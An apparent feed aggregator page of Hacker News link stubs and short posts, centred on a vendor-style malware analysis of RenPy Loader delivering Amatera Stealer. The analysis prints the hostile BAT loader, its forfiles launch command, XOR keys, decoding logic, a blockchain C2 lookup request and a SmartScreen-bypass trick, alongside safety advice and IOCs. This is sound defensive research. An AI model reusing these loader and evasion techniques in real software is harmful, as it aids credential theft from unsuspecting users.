Feed aggregator

Article URL: https://deepwaiting.xyz

Comments URL: https://news.ycombinator.com/item?id=48977181

Points: 1

# Comments: 0

Article URL: https://arxiv.org/abs/2607.15434

Comments URL: https://news.ycombinator.com/item?id=48977134

Points: 1

# Comments: 0

Article URL: https://www.lovebigisland.com/hawaii-blog/lahaina-noon-when-and-where/

Comments URL: https://news.ycombinator.com/item?id=48977130

Points: 1

# Comments: 0

Article URL: https://stratechery.com/2026/whos-afraid-of-chinese-models/

Comments URL: https://news.ycombinator.com/item?id=48977128

Points: 2

# Comments: 0

Hello HN. I've built the static website hosting service I wish I had when I was just starting out as a programmer.

It's intentionally basic. Just a "wrapper", you might say, around standard cloud providers (AWS+Cloudflare). The code is open source at:

https://gitlab.com/fuddco/picnic-host

It's all a kind of love letter to the classic Web. I built the web app from scratch (wanted to try making my own "framework") and this has been a great learning experience. All hand coded, with plenty of chatting with LLMs.

In a similar way to how one might want to start a restaurant, I've had the questionable(?) idea of starting a static website hosting business. How it stands out, hopefully, comes down to the personal touch and sense of trust. Like a neighborhood business. At least that's my thinking.

Anyways, thanks for reading, and for taking a look!

Comments URL: https://news.ycombinator.com/item?id=48977126

Points: 1

# Comments: 0

Article URL: https://www.technologyreview.com/2026/07/20/1140655/ai-biases-hiring-humans/

Comments URL: https://news.ycombinator.com/item?id=48977081

Points: 2

# Comments: 0

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer.

Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

The victim may see what appears to be a normal game or software installer while the malware runs silently in the background.

RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software.

We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult.

RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns.

In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized .NET component, which then decodes another malicious component.

That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt.

Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer.

Fake downloads infect your device

The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through:

• Fake download websites
• itch.io pages
• File-sharing services such as Wormhole, GoFile, Google Drive, and MEGA

Here are some of the detected pages that start the infection chain:

In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize.

Below are examples of fake download pages used to distribute the malicious archive:

The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

Example of an archive downloaded from a malicious website

The victim sees a loading or installation screen, but malicious code is running in the background.

The installation screen How to stay safe

A few precautions can reduce the risk of downloading malicious games or software:

• Download games and software from official websites, trusted app stores, or established distribution platforms.
• Treat cracked software, unofficial mods, and free versions of paid games with caution.
• Be wary when a download link redirects you through several unfamiliar websites or file-sharing services.
• Check the contents of downloaded archives before opening executable files such as Setup.exe.
• Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download.
• Use real-time anti-malware software such as Malwarebytes.
• Keep your operating system, browser, and security software up to date.

The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe.

Technical analysis of RenPy loader

Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code.

In this case, we found malicious code in the following files and paths:

.kb-table-container437867_d88d21-72{max-height:866px;overflow-x:auto;}.kb-table437867_d88d21-72 tr > *:nth-child(1){width:30%;}.kb-table437867_d88d21-72 tr > *:nth-child(2){width:30%;}.kb-table437867_d88d21-72{table-layout:fixed;width:100%;}.kb-table-container .kb-table437867_d88d21-72 th{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:center;}.kb-table-container .kb-table437867_d88d21-72 caption{text-align:center;}.kb-table-container .kb-table437867_d88d21-72 td{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:left;}.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}@media all and (max-width: 1024px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}@media all and (max-width: 767px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}

Path

Description

data/python-packages/sys_config/

Anti-sandbox classes

data/libwin32.rpa

Loader

data/.GEg

XOR-encrypted config

data/j3lpTcg7kBRN.E3

XOR-encrypted ZIP

The first-stage loader extracted from libwin32.rpa performs the following operations:

• Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key 81034149cd6f48c8821340204f92766e. This config contains the password used to extract the ZIP, along with other configuration data used by the loader.
• Calls sys_config.is_sandboxed() and exits if a sandbox is detected.
• XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP.
• Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a :Zone.Identifier alternate data stream (ADS) with ZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a random REM string into the extracted BAT file.
• Launches the payload using forfiles.exe.
• Sends the machine’s MAC address and campaign ID to a tracking website.

The decoded config The files contained in the decrypted ZIP

In this case, the extracted BAT file was executed using the following command:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contents of the BAT file:

@echo off setlocal DisableDelayedExpansion set "_bp=%~f0" set "_rl=0" if /i "%~1"=="/launched" set "_rl=1" if /i "%~2"=="/launched" set "_rl=1" if /i "%~3"=="/launched" set "_rl=1" if /i "%~4"=="/launched" set "_rl=1" if /i "%~5"=="/launched" set "_rl=1" if /i "%~6"=="/launched" set "_rl=1" if /i "%~7"=="/launched" set "_rl=1" if /i "%~8"=="/launched" set "_rl=1" if /i "%~9"=="/launched" set "_rl=1" if "%_rl%"=="1" goto :_go set "_ch=%SystemRoot%\System32\conhost.exe" if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe" where conhost.exe >nul 2>&1 if %errorlevel% equ 0 ( endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched ) else ( endlocal & cmd.exe /c "%_bp%" /launched ) exit /b 0 :_go endlocal setlocal EnableExtensions set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 set "_czzf=%~dp0Nancy.csproj" set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" if not exist "%_pb%" ( exit /b 9 ) "%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1 endlocal

The executed BAT file performs the following operations:

• Relaunches itself in a hidden or headless console:

"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c

• Enables MSBuild property functions, allowing additional methods such as AppDomain.CurrentDomain.Load to be executed:

MSBUILDENABLEALLPROPERTYFUNCTIONS=1

• Executes MSBuild.exe with Nancy.csproj as its project file. During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The trojanized Nancy DLL and custom bytecode

Nancy.csproj imports the three extracted files Nancy.csproj.user, Internal.props, and Nancy.Compile.targets. The malicious DLL is split across three values stored in these files.

The imported files inside Nancy.csproj

Nancy.Compile.targets concatenates the three values to hex-decode the DLL and execute the DefaultEvaluator5 method using AppDomain.CurrentDomain.Load.CreateInstance.

Execution of DefaultEvaluator5

The interesting part is that Nancy.csproj serves two purposes: It is the MSBuild project used to execute the first-stage loader, and it also contains the next stage decoded by the loader.

The DLL is a trojanized version of the Nancy .NET library and is an obfuscated .NET loader with malicious code implemented in the DefaultEvaluator5 class. Some of the DLL’s functionality is implemented in custom bytecode executed by this main method.

Comparison between the legitimate and trojanized Nancy DLLs

The DLL performs the following operations:

• Decrypts strings from resources using multi-key XOR decryption.
• Resolves APIs using API hashing and GetDelegateForFunctionPointer.
• Changes network settings, including disabling TLS certificate validation and setting the default system proxy.
• Performs anti-forensics operations.
• Reads the _czzf environment variable, which points to the previous Nancy.csproj file, then decodes and executes it.

The main DefaultEvaluator5 method retrieves strings and interprets the bytecode contained in the following resources:

• Nancy.Runtime.mvlorimu: Contains the custom bytecode. The bytecode is interpreted by _pv and _sro. It implements 23 opcodes used to decrypt other strings and load the next-stage DLL.
• Nancy.Data.tcnlhxw and Nancy.Resources.kxxodp: Contain the encrypted strings and other data used for decryption, including keys, lengths, indexes, and the S-box.

The strings are decrypted using the following algorithm:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

The next DLL stage, GollopDevest, is decoded from the same Nancy.csproj file using the following logic and loaded with AppDomain.Load:

for i, k in enumerate(marker_int): if k < 256: payload[i] = k else: payload[i] = marker_int[k-256] The encoded next stage between the Pack markers EtherHiding and Amatera Stealer

The next extracted stage is a DLL called GollopDevest.dll, a .NET downloader that uses the EtherHiding technique to obtain its command-and-control (C2) server and download the next stage.

The encrypted C2 domain is obtained using an Ethereum JSON-RPC eth_call request to bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

This EtherHiding downloader is likely part of a malware-as-a-service (MaaS) operation, as we have detected it being distributed in other campaigns, including ClickFix campaigns.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide (an anti-analysis DLL) and GollopDevest (a loader DLL), and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

In this case, these payloads were downloaded from:

• /assets/ExponeAboard.json
• /assets/MailersKogasin.json
• /assets/LanoseThrip.json

The .NET DLLs are heavily obfuscated using control flow flattening, indirect calls through calli/ldftn, string encryption with several algorithms, junk code, dead code, and fake strings such as URL paths.

The analysis of these DLLs is still ongoing and will be explored in more detail in the next blog posts.

Indicators of Compromise (IOCs) Domains

• downpro[.]net – Fake download website
• macisofile[.]sbs – Fake download website
• visitmama[.]blog – Fake download website
• visitmama[.]guru – Fake download website
• getgamerfree[.]com – Fake download website
• fullgames[.]digital – Fake download website
• flingbase[.]net – Fake download website
• citronemu[.]com – Fake download website
• filemodo[.]xyz – Distribution infrastructure
• storage06x[.]cfd – Distribution infrastructure
• p03sil[.]cyou – Distribution infrastructure
• wimsedas[.]xyz – Distribution infrastructure
• againstmor[.]store – Distribution infrastructure
• host03q[.]cfd – Distribution infrastructure
• cloud01y[.]cfd – Distribution infrastructure
• storage11x[.]cfd – Distribution infrastructure
• storage04x[.]cfd – Distribution infrastructure
• host82p[.]cfd – Distribution infrastructure
• cloud05y[.]cfd – Distribution infrastructure
• analyticstrack-pzh[.]click – Tracking website
• login.orbitalframework[.]cc – Amatera Stealer C2

IP addresses

• 144.124.251[.]171 – Used to obtain additional payloads
• 195.63.140[.]33 – Used to obtain additional payloads
• 78.40.196[.]252 – Used to obtain additional payloads

File hashes (MD5)

• 29203ca123d51b1b33505a0813d360df – First-stage loader (Trojanized DLL)
• 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (Downloader DLL)
• 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (Anti-analysis DLL)
• 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (Loader DLL)
• F8453EFE408CE25B9484F872797E3D63 – Final payload

“One of the best cybersecurity suites on the planet.” 

According to CNET. Read their review →

Article URL: https://turtleware.eu/posts/Building-an-AmigaOS-Development-Environment-in-2026.html

Comments URL: https://news.ycombinator.com/item?id=48976798

Points: 1

# Comments: 1

The agentic security tool identifies potentially exploitable code flaws, traces attack paths, and recommends targeted remediations.

The post Capital One Open Sources AI-Powered ‘VulnHunter’ Security Tool appeared first on SecurityWeek.

Hey birdie-github!

We're reaching out to let you know that as announced last year, we will officially ([begin][1]) requiring two-factor authentication (2FA) for certain contributors on GitHub.com. You are receiving this notification because your account meets the criteria for the current enrollment group, and you have 2FA enabled already.

You don't need to do anything in response to this email. After September 2nd, 2026 at 00:00 (UTC), you will no longer be able to disable 2FA. If you disable 2FA before then, your access to GitHub.com will be restricted on this date until you re-enable 2FA. This email, and a dismissible banner on GitHub.com, will be the only notifications about this change.

For more information about this program, please take a look at ([our documentation][2]).

Making the software supply chain more secure is a team effort, and we couldn't do it without you. Your enrollment in 2FA is an impactful step in keeping the world's software secure.

To see this and other security events for your account, visit your account ([security audit log][3]).

If you run into problems, please contact support by visiting the GitHub ([support page][4]).

Thanks, The GitHub Team

[1]: https://github.blog/2023-03-09-raising-the-bar-for-software-security-github-2fa-begins-march-13 [2]: https://docs.github.com/authentication/securing-your-account-with-two-factor-authentication-2fa [3]: https://github.com/settings/security-log [4]: https://github.com/contact

Comments URL: https://news.ycombinator.com/item?id=48976781

Points: 2

# Comments: 0

Article URL: https://twitter.com/i/status/2075570299576397910

Comments URL: https://news.ycombinator.com/item?id=48976755

Points: 1

# Comments: 0

Article URL: https://www.wsj.com/tech/ai/ai-companies-staffing-c9029343

Comments URL: https://news.ycombinator.com/item?id=48976754

Points: 2

# Comments: 0

Article URL: https://github.com/dilukangelosl/rs-semver

Comments URL: https://news.ycombinator.com/item?id=48976735

Points: 2

# Comments: 0

Article URL: https://karimjedda.com/engineering-management-after-cost-of-code-collapse/

Comments URL: https://news.ycombinator.com/item?id=48976723

Points: 1

# Comments: 0

Article URL: https://twitter.com/k_firsov/status/2078872293745570032

Comments URL: https://news.ycombinator.com/item?id=48976718

Points: 1

# Comments: 0

Article URL: https://people.idsia.ch/~juergen/1991-unnormalized-linear-transformer.html

Comments URL: https://news.ycombinator.com/item?id=48976714

Points: 1

# Comments: 0

I have been interested in BattleBots and programming games for years.

With recent AI coding agents, I wanted to see what happens if the strategy itself becomes code written by humans or AI.

AgentDuel is a deterministic turn-based arena where agents fight based on submitted TypeScript strategies.

Each battle produces a replay so you can inspect every decision.

Comments URL: https://news.ycombinator.com/item?id=48976704

Points: 1

# Comments: 0

I made some seo with claude-seo, but not very useful. Any I can check and fix?

This is the website: https://onfinality.io/en

Thanks very much.

Comments URL: https://news.ycombinator.com/item?id=48976696

Points: 1

# Comments: 0

Article URL: https://www.theregister.com/columnists/2026/07/20/airbus-takes-flight-from-aws-what-happens-next-is-critical/5274109

Comments URL: https://news.ycombinator.com/item?id=48976682

Points: 2

# Comments: 0

Article URL: https://doerpmund.com/musings/death-of-open-channels

Comments URL: https://news.ycombinator.com/item?id=48976679

Points: 1

# Comments: 0